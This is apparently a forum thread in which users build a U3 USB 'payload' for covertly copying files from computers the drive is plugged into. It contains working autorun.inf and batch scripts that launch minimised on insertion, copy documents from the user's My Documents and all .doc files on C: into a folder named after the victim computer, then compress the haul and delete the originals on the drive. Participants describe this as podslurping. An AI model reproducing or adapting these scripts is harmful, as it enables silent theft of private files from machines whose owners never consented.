which payload is suitable for copying files?

[eloelo]

i need a payload (i have u3) which is pretty simple and is able to search for exact files in exact folders  and copy files to the pendrive

which is the best?

i have the toshiba u3 so i think i cant use hacksaw?

[elmer]

This might help you:

autorun.inf (on CD Partition)

[AutoRun]
open=start.bat

start.bat (on CD Partition)

@echo off 

@start /min for %%i in (D E F G H I J K L M N O P Q R S T U V W X Y Z) do %%i:copy.bat

@exit

copy.bat (in root of the flash drive)

@echo off
set file=*put path to file here*
if not exist %~d0%computername% mkdir %~d0%computername%
xcopy %filepath% %~d0%computername%
@cls
@exit

When configured, copy.bat should look a bit like this:

@echo off
set filepath="C:Documents and Settings%username%My Documentsomg.doc"
if not exist %~d0%computername% mkdir %~d0%computername%
xcopy %filepath% %~d0%computername%
@cls
@exit

[eloelo]

thank you!

i think i will try to add it to the switch blade

[elmer]

And I forgot to put this in, but if you want more than one file copied, you can do something like this:

@echo off
set fp="C:Documents and Settings%username%My Documentsomg.doc"
set fp2="D:vids"
if not exist %~d0%computername% mkdir %~d0%computername%
xcopy %fp% %~d0%computername%
xcopy %fp2% %~d0%computername%
@cls
@exit

Also, for RAR compression, put rar.exe (I got mine from the Hacksaw) in the root of the drive or in a folder somewhere. It is easier to put it in the root of the drive.

@echo off
set fp="C:Documents and Settings%username%My Documentsomg.doc"
set fp2="D:vids"
if not exist %~d0%computername% mkdir %~d0%computername%
xcopy %fp% %~d0%computername%
xcopy %fp2% %~d0%computername%
rar.exe a ~d0%computername%.rar "%~d0%computername%"
del /f/q %~d0%computername%
@cls
@exit

Both of these copy.bat's will copy the omg.doc document from My Documents and copy the entire folder D:vids folder to a folder named after the computer they came from. The rar one will then rar that folder up, and it will delete the folder it just rar'ed.

[eloelo]

thank you for help, but can you just tell me how to copy for example *.doc files from c: including *.doc files from subfolders?

i dont know how to write this command in NT

[elmer]

thank you for help, but can you just tell me how to copy for example *.doc files from c: including *.doc files from subfolders?

You would actually have to use an external program. Lucky for you (and me), Obi-Wahn has coded up just the thing. It is in this topic and called File Copier. Put fc.exe in the same directory as the following batch script to grab all the .doc files in C:.

@echo off
if not exist %~d0%computername% mkdir %~d0%computername%
if not exist %~d0%computername%doc mkdir %~d0%computername%doc
fc.exe "C:*.doc" "%~d0%computername%doc" /I

[eloelo]

doesn't xcopy <source> <dest.> /S work well?

actually i found out that fc.exe does not understand %fd% which is an abbreviation of the destination to copy files from the switchblade batch(go.bat). (what am i doing wrong?)

[elmer]

Does %fd% work in other batch scripts? If I were you I would just type out the whole string.

I haven't heard about xcopy <source> <dest.> /S, but if you had, why did you need to ask?

[eloelo]

i didn't when i asked but i can tell now that it works, you don't need the fc.exe program, so now everything works ok for me'

thank You for help

[elmer]

That is good to know. Maybe I'll start using that instead of fc.exe. Don't worry, Obi-Wahn, I'll still use fc.exe but for different things.

[Obi-Wahn]

@elmer: NP. Your choise.

BTW: I've tried a test.bat

set D = %userprofile%Desktopfiles
md %d%
xcopy "C:*.log" "%d%" /S
pause > nul

and got a error message (translated):  "Cyclic copy not possible"

So did you do something different or what?

[elmer]

If people use

set D = %userprofile%Desktopfiles
md %d%
xcopy "C:*.log" "%d%" /S
pause > nul

I think that DOS will get angry because it has no %d% variable, only a %D% one. I know DOS commands are not case sensitive, but are variables?

[kz26]

[tt]http://forums.hak5.org/index.php/topic,6631.0.html[/tt]

This is a thread I started a while ago on using ZIP compression in a payload.

[elmer]

@kz26

Yes, I've seen this. It seems as though your payload is for ZIPing logs. This is about RARing data pulled form a computer. It's building upon the concept of podslurping.

[Leapo]

My payload will support this very soon, keep an eye out for v0.5

[elmer]

My payload will support this very soon, keep an eye out for v0.5

For those not in the know, his payload is here. It is called the USB Pocket-Knife.